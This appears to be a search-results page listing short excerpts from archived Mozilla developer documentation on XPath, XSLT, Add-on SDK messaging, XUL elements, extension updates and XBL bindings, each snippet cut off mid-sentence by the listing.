... recommendation xpath 3.0the definition of 'child' in that specification.
... recommendation xpath 2.0the definition of 'child' in that specification.
...And 2 more matches
self - XPath
WebXPathAxesself
specifications specification status comment xpath 3.1the definition of 'self' in that specification.
... recommendation xpath 3.0the definition of 'self' in that specification.
... recommendation xpath 2.0the definition of 'self' in that specification.
...And 2 more matches
An Overview - XSLT: Extensible Stylesheet Language Transformations
the string "http://www.w3.org/1999/xsl/transform" is a constant that designates the elements so marked as belonging to the set of tags designated by the w3c in the 1999 xslt recommendation.
...it can be made up of seven different types of nodes: the single root node, element nodes, text nodes, attribute nodes, comment nodes, processing instruction nodes, and namespace nodes.
...below the root node are its children, which can be elements, comments, processing instructions and so on.
...And 2 more matches
Interacting with page scripts - Archive of obsolete content
communicating with page scripts there are two different ways a content script can communicate with a page script: using the dom postmessage() api using custom dom events using the dom postmessage api note that before firefox 31 code in content scripts can't use window to access postmessage() and addeventlistener() and instead must use document.defaultview.
... you can communicate between the content script and page scripts using window.postmessage().
...e("sdk/self").data; var pagemod = require("sdk/page-mod"); pagemod.pagemod({ include: "http://my-domain.org/listen.html", contentscriptfile: data.url("talk.js") }); the "talk.js" content script uses window.postmessage() to send the message to the page: // talk.js window.postmessage("message from content script", "http://my-domain.org/"); the second argument may be '*' which will allow communication with any domain.
...itten like this: // talk.js document.defaultview.postmessage("message from content script", "http://my-domain.org/"); // listen.js document.defaultview.addeventlistener('message', function(event) { console.log(event.data); // message from page script console.log(event.origin); }, false); using custom dom events as an alternative to using postmessage() you can use custom dom events to communicate between page scripts and content scripts.
Content Processes - Archive of obsolete content
to communicate between add-on and content processes, the sdk uses something called content scripts.
...content scripts communicate with add-on code using something called event emitters.
...content workers combine these ideas, allowing you to inject a content script into a content process, and automatically set up a communication channel between them.
...since both add-on modules and content scripts are currently loaded in sandboxes rather than separate processes, and sandboxes can communicate with each other directly (using imports/exports), you might be wondering why we have to go through all the trouble of passing messages between add-on and content scripts.
Modules - Archive of obsolete content
the module system used by the sdk is based on the commonjs specification: it is implemented using a loader object, which handles all the bookkeeping related to module loading, such as resolving and caching urls.
... following example shows: // index.js: let a = loadscript("www.foo.com/a.js", { components: components }); // index.js has chrome privileges components.utils; // => [object nsxpccomponents_utils] // a.js: // a.js has content privileges imports.components.utils; // => undefined modules in the add-on sdk the module system used by the sdk is based on what we learned so far: it follows the commonjs specification, which attempts to define a standardized module api.
... a commonjs module defines three global variables: require, which is a function that behaves like loadscript in our examples, exports, which behaves like the exports object, and module, which is an object representing the module itself.
...for instance, the option paths is used to specify a list of paths to be used by the loader to resolve relative urls: let loader = loader({ paths: ["./": "http://www.foo.com/"] }); commonjs also defines the notion of a main module.
Testing the Add-on SDK - Archive of obsolete content
with jpm (which is not part of the add-on sdk repo, and must be installed separately) things more difficult without the gulp commands provided by the gulpscript.js file in the addon-sdk repo.
... with gulp installed, and after installing the addon-sdk's npm dependencies, we can run the latter three test suites mentioned for cfx with jpm using the following commands: gulp test:examples --filter <addon_example_folder_name> gulp test:addons --filter <addon_folder_name> gulp test:modules --filter <file_name>:<test_name> or run all of the tests with gulp test.
... from mozilla-central repository with a checkout of the mozilla-central source code, one can always cd addon-sdk/source and use any of the methods described above, but in addtion to that there are a couple of mach commands available, and ofcourse there is the try server if you have access to that.
... with mach there are two commands: ./mach mochitest -f jetpack-addon <optional_addon_path>: this runs the test add-ons mentioned for cfx testaddons and gulp test:addons with the older sdk/loader/cuddlefish used with cfx.
context-menu - Archive of obsolete content
selector may include multiple selectors separated by commas, e.g., "a[href], img".
...ny child items.: var cm = require("sdk/context-menu"); cm.menu({ label: "my menu", contentscript: 'self.on("click", function (node, data) {' + ' console.log("you clicked " + data);' + '});', items: [ cm.item({ label: "item 1", data: "item1" }), cm.item({ label: "item 2", data: "item2" }), cm.item({ label: "item 3", data: "item3" }) ] }); communicating with the add-on often you will need to collect some kind of information in the click listener and perform an action unrelated to content.
... to communicate to the menu item associated with the content script, the content script can call the postmessage function attached to the global self object, passing it some json-able data.
...); var searchmenu = cm.menu({ label: "search with", context: cm.selectorcontext("a[href]"), contentscript: 'self.on("click", function (node, data) {' + ' var searchurl = data + node.textcontent;' + ' window.location.href = searchurl;' + '});', items: [googleitem, wikipediaitem, moremenu] }); if you need a tooltip: first you need a dummy menu item that will serve as a trigger and subsequently will add the tooltips to the actual menu items.
remote/child - Archive of obsolete content
enables an sdk module loaded into a child process to access web content in the child process and communicate with modules in the main process.
...it provides two main things: access to web content loaded into this child process port mechanisms to communicate with the main process interacting with web content to interact with web content, the sdk/remote/child module provides a frames property that's a list of all content frames loaded into this child process.
... communicating with the parent process to communicate with the parent process, the process, frames, and frame objects in sdk/remote/child have a port object that you can use to receive messages from, and send messages to, code in the parent.
... frame a frame represents a content frame in this process and provides a way to communicate frame specific events to the main process.
remote/parent - Archive of obsolete content
loading modules into the child process to load a module into the child process, use remoterequire(): const { remoterequire } = require("sdk/remote/parent"); remoterequire("./my-module.js", module); inter-process communication a module loaded into a different process cannot directly communicate or share state with the module that loaded it.
... instead, the two sides communicate using port objects like those used for communication with content scripts.
...the module loads asynchronously but you can start sending messages to the module immediately.
... process a process provides a way to communicate with code running in one of the application's processes.
cfx to jpm - Archive of obsolete content
the add-on sdk includes a command-line tool that you use to initialize, run, test, and package add-ons.
... activation you need to call cfx activate before you can use cfx, and this only works in the current command shell: if you open a new shell you have to call activate again.
... there is a known bug in simple options handling which may require the workaround described in https://bug635044.bugzilla.mozilla.org/show_bug.cgi?id=1243467 commands and command options permanently removed commands jpm has dropped support for all the "internal" cfx commands.
... package.json fields many package.json fields are implicit commands to cfx.
Label and description - Archive of obsolete content
<description>i am your father's brother's nephew's cousin's former roommate.
... <description style="white-space: pre-wrap;">i am your father's brother's nephew's cousin's former roommate.
... <description style="white-space: pre;">i am your father's brother's nephew's cousin's former roommate.
... <description>i am your father's brother's nephew's cousin's former roommate.<html:br/> what's that make us?<html:br/> absolutely nothing!</description> using labels as anchors its possible to make a label look and act like an html <a> tag: <label class="text-link" href="http://whatever.com" value="click here to go to whatever"/> "text-link" is a built-in, predefined class.
Rosetta - Archive of obsolete content
therefore, it is also possible, in theory, to use ecmascript for a smaller task: parsing exotic programming languages (i.e., creating compilers).
...|*| http://www.gnu.org/licenses/gpl-3.0.html |*| |*| syntax: |*| |*| rosetta.appendcompiler([ "text/x-csrc", "text/x-c" ], yourcompiler); |*| \*/ var rosetta = new (function () { function createscript (oscript, oxhr200) { var smimetype = oscript.getattribute("type").tolowercase(), obaton = document.createcomment(" the previous code has been automatically translated from \"" + smimetype + "\" to \"text/ecmascript\".
...o.h> int main () { printf("hello world number 1!\n"); return 0; } </script> <script type="text/x-c" src="example.c"></script> </head> <body> <p>lorem ipsum</p> <script type="text/javascript"> rosetta.translateall(); </script> </body> </html> example.c: c example #include <stdio.h> int main () { printf("hello world number 2!\n"); return 0; } if creating a compiler for the c programming language, as in the example above, can really look a huge task, there are many dialects of ecmascript which could be easily translated to standard ecmascript.
... mime types here is a short list of the mime types associated to some programming languages: language mime type bash text/x-shellscript java text/x-java-source c text/x-c, text/x-csrc c++ text/x-c++, text/x-c++src python text/x-python there are no limitations to the mime types that can be used for the type attribute of the <script> element.
StringView - Archive of obsolete content
ings (i.e., an array of character codes — an arraybufferview in javascript) based upon the javascript arraybuffer interface to create a highly extensible library that anyone can extend by adding methods to the object stringview.prototype to create a collection of methods for such string-like objects (since now: stringviews) which work strictly on arrays of numbers rather than on creating new immutable javascript strings to work with unicode encodings other than javascript's default utf-16 domstrings introduction as web applications become more and more powerful, adding features such as audio and video manipulation, access to raw data using websockets, and so forth, it has become clear that there are times when it would be helpful for javascript code to be able to quickly and easily m...
... 47 : 65; }; /* base64 string to array encoding */ stringview.bytestobase64 = function (abytes) { var eqlen = (3 - (abytes.length % 3)) % 3, sb64enc = ""; for (var nmod3, nlen = abytes.length, nuint24 = 0, nidx = 0; nidx < nlen; nidx++) { nmod3 = nidx % 3; /* uncomment the following line in order to split the output in lines 76-character long: */ /* if (nidx > 0 && (nidx * 4 / 3) % 76 === 0) { sb64enc += "\r\n"; } */ nuint24 |= abytes[nidx] << (16 >>> nmod3 & 24); if (nmod3 === 2 || abytes.length - nidx === 1) { sb64enc += string.fromcharcode(stringview.uint6tob64(nuint24 >>> 18 & 63), stringview.uint6tob64(nuint24 >>> 12 & 63), str...
...aaaaasaaaasaaaaaaaaaaaaaaaaaaaaaaaaabaaaaasaaaaaaaaaaaaaaaaaaaaaaaaaciaaaagaaaaaaaaaaaaaaaaaaaaaaaaaabsawjjlnnvljyachv0cwbfx2xpymnfc3rhcnrfbwfpbgbfx2dtb25fc3rhcnrfxwbhtelcq18yljiunqaaaaacaaiaaaaaaaeaaqabaaaaeaaaaaaaaab1gmkjaaacadeaaaaaaaaayahgaaaaaaagaaaaawaaaaaaaaaaaaaa6ahgaaaaaaahaaaaaqaaaaaaaaaaaaaa8ahgaaaaaaahaaaaagaaaaaaaaaaaaaa+ahgaaaaaaahaaaaawaaaaaaaaaaaaaasipsceilbrufiabihcb0behdaaaasipecmmaaaaaaaaaaaaaaaaaap81agugap8lbaugaa8fqad/jqifiaboaaaaaong/////yx6bcaaaaeaaadp0p////8l8gqgaggcaaaa6cd///8x7umj0v5iiejig+twufrjx8cqbuaasmfbiavaaejhxwafqadot/////rmka8fqac4fwlgafvilrajyabig/gosinldwjdw7gaaaaasixadprdvxajyad/4a8fgaaaaac4ealgafvilrajyabiwfgdsinlsincsmhqp0gb0ejr+hucxco6aaaaaeif0nt0xuijxr8qcwaa/+iph4aaaaaagd1zbcaaahurvuij5eh+////xcyfrgqgaahzww8fqabigz0yaiaaahqeuaaaaabihcb0ffw/8azgaeij5f/...
...*/ var mycontent = new stringview("hello world!"); mybuffer.rawdata.set(mycontent.rawdata, mycontent.rawdata.length); stringview is a constructor and a collection of methods whose aim is to work strictly on arrays of numbers, rather than on creating new immutable javascript strings.
Extension Versioning, Update and Compatibility - Archive of obsolete content
ture>migtma0gcsqgsib3dqebbquaa4gbamo1o2gwsccth1gwymgscfanakpn40pjfowt ub2hvdg8+oxmcif8d/9evwm8eh/ixuxyzlmrzts3o5tv9eway5ubctqdf1wgtsgk jrgzow1fitkzi7w0//c8ekdmlatguegfns2iltd5p/0kh/hf1rpc1wuqeqkcd4+l bcvq13ad</em:signature> </rdf:description> </rdf:rdf> some people prefer this alternate format (note that much of the information has been trimmed from this example for brevity in order to show the basic structure): <?xml version="1.0" encoding="utf-8"?> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <!-- this description resource includes all the update and compatibility information for a single add-on with the id foobar@developer.mozilla.org.
...uxyzlmrzts3o5tv9eway5ubctqdf1wgtsgk jrgzow1fitkzi7w0//c8ekdmlatguegfns2iltd5p/0kh/hf1rpc1wuqeqkcd4+l bcvq13ad</em:signature> </rdf:description> <!-- this represents the same description within the li from the previous example --> <rdf:description about="urn:mozilla:extension:foobar@developer.mozilla.org:2.2"> <em:version>2.2</em:version> <!-- trimmed the rest of the contents here --> </rdf:description> <rdf:description about="urn:mozilla:extension:foobar@developer.mozilla.org:2.5"> <em:version>2.5</em:version> <!-- trimmed the rest of the contents here --> </rdf:description> </rdf:rdf> note: it is possible to change the id of add-on through add-on update.
... <em:updatehash>sha256:78fc1d2887eda35b4ad2e3a0b60120ca271ce6e64ad2e3a0b60120ca271ce6e6</em:updatehash> note: the value of updatehash, must start with the string of hashing algorithm, it is a common error to delete this prefix, when setting new value to updatehash:sha256:78fc1d2887eda35b4ad2e3a0b60120ca271ce6e64ad2e3a0b60120ca271ce6e6 when a hash is specified the downloaded file is compared with the hash and an error shown if it does not match.
...to enable the log: set the value of extensions.logging.enabled to true (using url about:config) run firefox from command with option -console if you encounter problems, search the output in console for your extension id, and see if failures were logged.
Extension Etiquette - Archive of obsolete content
ideally, the location would be below the add-ons item, grouped with the other extension-related commands (menuitem:insertafter="javascriptconsole,devtoolsseparator").
... while these are among the most common examples of namespaces in which conflicts can occur, there are many others.
...scripts can be loaded into their own globals, such as commonjs modules, javascript modules, or sandboxes, to avoid most global variable and prototype conflicts.
... call .noconflict(true) where applicable many common libraries which create global variables provide a method called noconflict, or similar, which revert any global variables they've declared, and return the object itself.
Interaction between privileged and non-privileged pages - Archive of obsolete content
(to better ensure others do not also implement the same event with a different meaning, one might either attach a namespace to <myextensiondataelement/> and check on the event handler for the correct namespaceuri property, or as per the dom specification, use initevent() with an event name that is itself namespaced (xml name characters only): "it is also strongly recommended that third parties adding their own events use their own prefix to avoid confusion and lessen the probability of conflicts with other new events.") in the case where your extension's overlay does not interact directly with browser.xul, such as in a sidebar, it might be easier to add the event listener to the top-level document directly as shown below (also see: accessing the elements of the...
...a workaround is to treat the communication between webpage and chrome as a normal network protocol and use xml.
... it is highly recommended to check the source of the event (via event.target.ownerdocument.location) and make your extension ignore any events from pages not from your server.
... resources mozillazine forum discussion communication between html and your extension ...
Jetpack Processes - Archive of obsolete content
jetpack processes are created by components that implement the nsijetpackservice interface, and their parent chrome process communicates with them via the nsijetpack interface.
...messaging facilities that allow them to communicate with their parent chrome process are the only means by which they can be endowed with any real power.
... handles messages that communicate between the browser and jetpack process may contain only serializable (json) data and handles.
...to prevent such memory leaks, a process can either invalidate a handle, immediately preventing it from being passed as a message argument, or it can unroot the handle, allowing it to be passed as a message argument until all references to it are removed, at which point it is garbage collected.
Adding sidebars - Archive of obsolete content
<menupopup id="viewsidebarmenu"> <menuitem id="xulschoolhello-sidebar" label="&xulschoolhello.sidebar.title;" accesskey="&xulschoolhello.sidebar.accesskey;" type="checkbox" autocheck="false" group="sidebar" sidebarurl="chrome://xulschoolhello/content/sidebar.xul" sidebartitle="&xulschoolhello.sidebar.title;" oncommand="togglesidebar('xulschoolhello-sidebar');" /> </menupopup> the example in the mdc page includes a shortcut key combination to toggle the new sidebar.
... we recommend that you use hbox or vbox elements as children of a deck or stack.
...one common use for a stack is to have an image background that stretches horizontally and vertically depending on the size of the foreground object: <stack> <hbox flex="1"> <image src="chrome://xulschoolhello/skin/stack-bg.png" flex="1" /> </hbox> <hbox> <!-- some content here.
... a less common use for the stack element is to use the left and top attributes on its children in order to have absolute positioning for the content on the layers.
Connecting to Remote Content - Archive of obsolete content
in this section we'll look into the xml and json communication mechanisms.
...in asynchronous mode code execution continues immediately after the send call.
... now let's look at the most common types of content you can use to communicate with remote servers.
...we recommend you to use extensions like tamper data.
Handling Preferences - Archive of obsolete content
firefox exposes its most common high-level preferences through the preferences window and other parts of its ui.
... note: we recommend that you include all of your extension preferences in the js defaults file.
... } }, always remember to remove the observer when you don't need it anymore: this._prefservice.queryinterface(ci.nsiprefbranch2); this._prefservice.removeobserver(prefname, this); preference windows it's very common for extensions to have a few settings that their users can change to tailor them to their needs.
... the general philosophy in non-windows systems is that a change in a preference applies immediately.
Creating a dynamic status bar extension - Archive of obsolete content
we end up reloading data from each of the windows once in 10 minutes - fixing this by creating a js component responsible for communication with the server is a good idea for one of the future articles startup: function() { this.refreshinformation(); window.setinterval(this.refreshinformation, 10*60*1000); }, this starts by calling our refreshinformation() function, which is responsible for fetching and displaying stock ticker information in the status bar panel.
...in this case, we're using yahoo's comma-separated values return to fetch easily-parsed stock quote data for google (ticker symbol goog).
...we open the request, specifying that we wish to perform an http "get" command with the url fullurl.
...we use the split() string function to split the comma-separated value string into its individual parts, with each field in a separate element in the array fieldarray.
No Proxy For configuration - Archive of obsolete content
the elements are separated by either a space (" ") or a comma (",").
... communicator used "network.proxy.none" limitations no ipv6 support - the backend stores ipv4 addresses as ipv6, but ipv6 formats are not supported.
...//web/) bug 201685 - no proxy for: support ipv6 address literals bug 136789 - proxy: no proxy ip entries do not block dns resolved ips bug 314712 - no proxy for: "hostname.domain.com" should block only "hostname.domain.com" bug 72444 - proxy: "bypass proxy server for local addresses" (ie pref) bug 260883 - "no proxy for" does not use fqdn wildcards "*" like ie bugzilla sources bug 17158 comment 21: the correct separator are spaces or commas.
... original document information author(s): benjamin chuang last updated date: november 2, 2005 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
Getting Started - Archive of obsolete content
the next directory is the \communicator directory.
...<rdf:li resource="urn:mozilla:skin:myskin/1.0:communicator"/> <rdf:li resource="urn:mozilla:skin:myskin/1.0:editor"/> <rdf:li resource="urn:mozilla:skin:myskin/1.0:global"/> <rdf:li resource="urn:mozilla:skin:myskin/1.0:messenger"/> <rdf:li resource="urn:mozilla:skin:myskin/1.0:navigator"/> finally, in the last section of the contents.rdf file we need to tell mozilla what version this skin is compliant with.
...<rdf:description chrome:skinversion="1.0" about="urn:mozilla:skin:myskin/1.0:communicator"/> <rdf:description chrome:skinversion="1.0" about="urn:mozilla:skin:myskin/1.0:editor"/> <rdf:description chrome:skinversion="1.0" about="urn:mozilla:skin:myskin/1.0:global"/> <rdf:description chrome:skinversion="1.0" about="urn:mozilla:skin:myskin/1.0:messenger"/> <rdf:description chrome:skinversion="1.0" about="urn:mozilla:skin:myskin/1.0:navigator"/> save the file and exit the text e...
... \communicator\...
Repackaging Firefox - Archive of obsolete content
however, it's still recommended that you look through this tutorial, as it contains tips specific for creating extensions of this type, and there are a few options that you will need to set to ensure a smooth upgrade path for users.
...if possible, we recommend you have your dex support the full set of locales that firefox supports.
... of course, this strategy only works when your strings either do not need localization, or are programmatically localizable (for example, simply adding the locale to a url, like http://<locale>.example.com/).
... mozilla.partner.id=<name> app.partner.<name>=<name> app.distributor=<name> app.distributor.channel=<name> other preferences some settings are commonly set in partner distributions.
JavaScript Client API - Archive of obsolete content
before developing against the javascript api, it is recommended to speak to developers of the api.
... in this case, it is highly recommended to use the utils.makeguid() helper to generate new guids: let newguid = utils.makeguid(); your store object must implement the following methods: itemexists(id) createrecord(id, collection) changeitemid(oldid, newid) getallids() wipe() create(record) update(record) remove(record) you may also find it useful to override other methods of the base implementation, for example appl...
...setting it to 100 means "sync me immediately".
...stick your engine class on to the weave object: weave.fooengine = fooengine; and add "foo" to the services.sync.registerengines preference (it's a comma separated list of engine names).
Creating a Help Content Pack - Archive of obsolete content
however, while it may seem like this is a disadvantage, it's actually an advantage - if you make an error you'll know immediately, and you should be able to easily figure out what the problem is by directly loading the file in firefox.
...one common use of this is to inherit the small using the help window article provided with the viewer.
...however, it is recommended you use a space-separated list of uris for nc:datasources instead of separate entries, as separate entries will require a slightly longer time to load.
...it's exactly the same as any javascript command, you you can insert it in command elements, oncommand attributes, and other such places.
jspage - Archive of obsolete content
:function(b,a){window[b]=window.prototype[b]=a;}});window.prototype={$family:{name:"window"}}; new window(window);var document=new native({name:"document",legacy:(browser.engine.trident)?null:window.document,initialize:function(a){$uid(a);a.head=a.getelementsbytagname("head")[0]; a.html=a.getelementsbytagname("html")[0];if(browser.engine.trident&&browser.engine.version<=4){$try(function(){a.execcommand("backgroundimagecache",false,true); });}if(browser.engine.trident){a.window.attachevent("onunload",function(){a.window.detachevent("onunload",arguments.callee);a.head=a.html=a.window=null; });}return $extend(a,document.prototype);},afterimplement:function(b,a){document[b]=document.prototype[b]=a;}});document.prototype={$family:{name:"document"}}; new document(document);array.implement({every:f...
...t.keys.keyof(b);if(j=="keydown"){var d=b-111; if(d>0&&d<13){m="f"+d;}}m=m||string.fromcharcode(b).tolowercase();}else{if(j.match(/(click|mouse|menu)/i)){k=(!k.compatmode||k.compatmode=="css1compat")?k.html:k.body; var i={x:a.pagex||a.clientx+k.scrollleft,y:a.pagey||a.clienty+k.scrolltop};var c={x:(a.pagex)?a.pagex-f.pagexoffset:a.clientx,y:(a.pagey)?a.pagey-f.pageyoffset:a.clienty}; if(j.match(/dommousescroll|mousewheel/)){var h=(a.wheeldelta)?a.wheeldelta/120:-(a.detail||0)/3;}var e=(a.which==3)||(a.button==2);var l=null;if(j.match(/over|out/)){switch(j){case"mouseover":l=a.relatedtarget||a.fromelement; break;case"mouseout":l=a.relatedtarget||a.toelement;}if(!(function(){while(l&&l.nodetype==3){l=l.parentnode;}return true;}).create({attempt:browser.engine.gecko})()){l=false; }}}}return $ext...
...ch(function(e){e.create({bind:this,delay:a,"arguments":b})(); },this);return this;},cloneevents:function(d,a){d=document.id(d);var c=d.retrieve("events");if(!c){return this;}if(!a){for(var b in c){this.cloneevents(d,b); }}else{if(c[a]){c[a].keys.each(function(e){this.addevent(a,e);},this);}}return this;}});element.nativeevents={click:2,dblclick:2,mouseup:2,mousedown:2,contextmenu:2,mousewheel:2,dommousescroll:2,mouseover:2,mouseout:2,mousemove:2,selectstart:2,selectend:2,keydown:2,keypress:2,keyup:2,focus:2,blur:2,change:2,reset:2,select:2,submit:2,load:1,unload:1,beforeunload:2,resize:1,move:1,domcontentloaded:1,readystatechange:1,error:1,abort:1,scroll:1}; (function(){var a=function(b){var c=b.relatedtarget;if(c==undefined){return true;}if(c===false){return false;}return($type(this)!="docu...
...ment"&&c!=this&&c.prefix!="xul"&&!this.haschild(c)); };element.events=new hash({mouseenter:{base:"mouseover",condition:a},mouseleave:{base:"mouseout",condition:a},mousewheel:{base:(browser.engine.gecko)?"dommousescroll":"mousewheel"}}); })();element.properties.styles={set:function(a){this.setstyles(a);}};element.properties.opacity={set:function(a,b){if(!b){if(a==0){if(this.style.visibility!="hidden"){this.style.visibility="hidden"; }}else{if(this.style.visibility!="visible"){this.style.visibility="visible";}}}if(!this.currentstyle||!this.currentstyle.haslayout){this.style.zoom=1;}if(browser.engine.trident){this.style.filter=(a==1)?"":"alpha(opacity="+a*100+")"; }this.style.opacity=a;this.store("opacity",a);},get:function(){return this.retrieve("opacity",1);}};element.implement({setopacity:fu...
Mozilla Application Framework - Archive of obsolete content
we provide a comprehensive framework that does much of the work for you, tools to help you develop your apps, and a community of people to help.
... necko a wicked-fast, extensible networking library with built-in support for many common protocols and a well-defined plug-in interface for custom protocol handling so you can add the protocols you need.
... community a large, active development community that interacts via newsgroups, mailing lists, irc channels, and web sites.
... original document information author(s): myk melez last updated date: march 3, 2003 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
RDF Datasource How-To - Archive of obsolete content
the xpcom registration parts and the "as of this writing, it is not currently possible to implement javascript xpcom components" comment seem outdated didn't check the whole article.
...an "imap datasource" would use the imap protocol to translate your mail server's inbox as a collection of statements like "message number 126's subject is 'make money fast on the internet'" and "message number 126 was sent by 'spammer128@hotmail.com'".
... an "address book" datasource could translate a database file into statements like "spammer128@hotmail.com's real name is 'billy dumple'" and "spammer128@hotmail.com is considered an 'important friend'." statements from one datasource can be combined with statements from another datasource using a composite datasource.
... [more info on what each method needs to do here] rdf commands [describe what commands are, and why you'd implement them.] registering the datasource component a datasource is an xpcom component.
Frequently Asked Questions - Archive of obsolete content
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> actually the second binding isn't always required, but unless you understand namespaces, we'd strongly recommend you include it.
...(it doesn't mean there's an error in mozilla.) there are many different xml errors, but the most common one in svg files is "xml parsing error: prefix not bound to a namespace".
...if you're a c++ programmer interested in working on the svg implementation, please contact us and we'll be happy to help you get involved.
... original document information author(s): jonathan watt last updated date: november 6, 2006 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
Space Manager Detailed Design - Archive of obsolete content
*/ void gettranslation(nscoord& ax, nscoord& ay) const { ax = mx; ay = my; } /** * returns the y-most of the bottommost band or 0 if there are no bands.
... */ void gettranslation(nscoord& ax, nscoord& ay) const { ax = mx; ay = my; } /** * returns the y-most of the bottommost band or 0 if there are no bands.
...there are several cases it has to handle, as specified in the source file comments: // when comparing a rect to a band there are seven cases to consider.
... +-----+ // | | | r | | b | | | +-----+ // | b | +-----+ +-----+ | r | | b | // | | | | +-----+ // +-----+ +-----+ // +-----+ // | r | // +-----+ // first, check for the easiest case, where there are no existing bandrects, or the band rect passed in is below the bottommost rect.
File object - Archive of obsolete content
if you are building a standalone version of spidermonkey (see: spidermonkey build documentation), this variable can be added on the make command line, like so: cd mozilla/js/src make -f makefile.ref js_has_file_object=1 alternatively, if you are building a larger product (such as a browser) and want to include the file object, you may need to perform minor makefile surgery.
... summary non-standard server-side object this object lets you work files and directories on the local filesystem, and create os pipelines.
... creating a pipeline involves spawning arbitrary processes; this means that giving a script access to the file object is exactly equivalent to giving the script access to the unix shell or dos command interpreter.
... file.flush() flushes the operating system's write buffers for the file and blocks until any pending data has been committed to disk.
Table Layout Regression Tests - Archive of obsolete content
as you will probably run your normal mozilla in parallel with the testing issue then: set moz_no_remote=1 at the command prompt.
... place the images in table/images block/images or (don't forget cvs commit -kb) and the test file in the table/bugs or block/bugs directory.
... additional notes there is a special type of frame dumps - the printing regression tests, they are invoked by the -prt command line argument to the viewer and include first a display then a frame dump taking into account the printer pages.
... original document information author(s): bernd mielke other contributors: boris zbarsky last updated date: february 5, 2007 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
Venkman - Archive of obsolete content
learning the javascript debugger venkman written by svend tofte to the javascript programmers who are not familiar with other debugging tools.
... venkman faq answers to common questions on venkman.
... source code the source code for venkman may be found in mercurial at the following url: http://hg.mozilla.org/venkman/summary community view mozilla forums...
... related topics javascript, web development, developing mozilla original document information author(s): robert ginda other contributors: doctor unclear last updated date: july 13, 2007 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
accesskey - Archive of obsolete content
when the user presses a modifier key specific to the platform (eg, control* on windows, command* on macintosh) and the access key, the element will be focused and/or activated from anywhere in the window.
... on the macintosh, labels are never underlined, however accesskeys can still be used by pressing the letter combined with the command key.
... it is recommended that you only use characters that appear in the label.
... however in some languages, for example, in japanese, characters will not always map directly to single keys, and it is quite common to have labels which cannot have a single accesskey.
reserved - Archive of obsolete content
« xul reference home reserved type: string this attribute applies to a command element.
... setting this attribute to "true" indicates that the command is reserved for chrome code and is not available for use in the content.
... this means that, to execute these commands, key events won't be passed to content, and event listeners registered for them in content will not be executed.
... example here, the command to open a new browser window is reserved: <command id="cmd_newnavigator" oncommand="openbrowserwindow()" reserved="true"/> if the keyboard shortcut for that is accel-t, then this code will not work as expected, as compared to when it is run from web content: document.addeventlistener("keydown", handlekey, true); function handlekey(event) { // listen for the "new tab" shortcut if (event.metakey && (event.key == "t")) { // log a message console.log("intercepted accel-t"); // prevent the default browser action event.preventdefault(); event.stoppropagation(); } } ...
findbar - Archive of obsolete content
attributes browserid, findnextaccesskey, findpreviousaccesskey, highlightaccesskey, matchcaseaccesskey properties browser, findmode methods close, onfindagaincommand, open, startfind, togglehighlight example <browser type="content-primary" flex="1" id="content" src="about:blank"/> <findbar id="findtoolbar" browserid="content"/> attributes browserid type: string the id of the browser element to which the findbar is attached.
... possible values are: find_normal (0): normal find find_typeahead (1): typeahead find find_links (2): link find methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
... onfindagaincommand( findprevious ) return type: no return value call this method to handle your application's "find next" and "find previous" commands.
... you should specify true as the input parameter to perform a "find previous" operation, or false to perform a "find next." startfind( mode ) return type: no return value call this method to handle your application's "find" command.
Special Condition Tests - Archive of obsolete content
ion label="?title"/> </groupbox> </action> </rule> <rule> <binding subject="?item" predicate="http://www.xulplanet.com/rdf/address" object="?address"/> <action> <label uri="?item" value="?address"/> </action> </rule> </template> </vbox> containment tests for rdf sources, the simple rule syntax supports two special conditional tests that are commonly used with multiple rules.
...it is commonly used with menus, and we can rewrite the previous example using the iscontainer attribute instead.
...this condition test is commonly used to display the generated content differently for empty and non-empty containers.
... you will commonly use the two attributes iscontainer and isempty together in different combinations to create the effect you need.
Template Builder Interface - Archive of obsolete content
this isn't a very common technique, however, here is an example of how this can be used: <html:div id="photoslist" datasources="template-guide-photos5.rdf" ref="http://www.xulplanet.com/rdf/myphotos" xmlns:html="http://www.w3.org/1999/xhtml"> <html:h1>my photos</html:h1> <template> <html:p uri="rdf:*"><textnode value="rdf:http://purl.org/dc/elements/1.1/title"/></html:p> </template> </html...
...to summarize, the refresh method reloads the data, whereas the rebuild method reconstructs the content.
...a common pattern is to use the following: var rdf = components.classes["@mozilla.org/rdf/rdf-service;1"].
...if you do plan on determining the datasources dynamically, it is common to start with an empty datasource using the special uri 'rdf:null'.
Adding Methods to XBL-defined Elements - Archive of obsolete content
xul: <box id="num" class="labeledbutton" title="number of things:" value="52"/> <button label="show" oncommand="document.getelementbyid('num').showtitle(true)"/> <button label="hide" oncommand="document.getelementbyid('num').showtitle(false)"/> xbl: <binding id="labeledbutton"> <content> <xul:label xbl:inherits="value=title"/> <xul:label xbl:inherits="value"/> </content> <implementation> <method name="showtitle"> <parameter name="state"/> <body> if (state) { ...
... document.getanonymousnodes(this)[0].setattribute("style", "visibility: visible"); } else { document.getanonymousnodes(this)[0].setattribute("style", "visibility: collapse"); } </body> </method> </implementation> </binding> two buttons added to the xul have oncommand handlers which are used to change the visibility of the label.
...for example, we could move the show and hide buttons into the xbl file and do the following: example 1: source <binding id="labeledbutton"> <content> <xul:label xbl:inherits="value=title"/> <xul:label xbl:inherits="value"/> <xul:button label="show" oncommand="document.getbindingparent(this).showtitle(true);"/> <xul:button label="hide" oncommand="document.getbindingparent(this).showtitle(false);"/> </content> <implementation> <method name="showtitle"> <parameter name="state"/> <body> if (state) { document.getanonymousnodes(this)[0].setattribute("style","visibility: visible"); } else { docu...
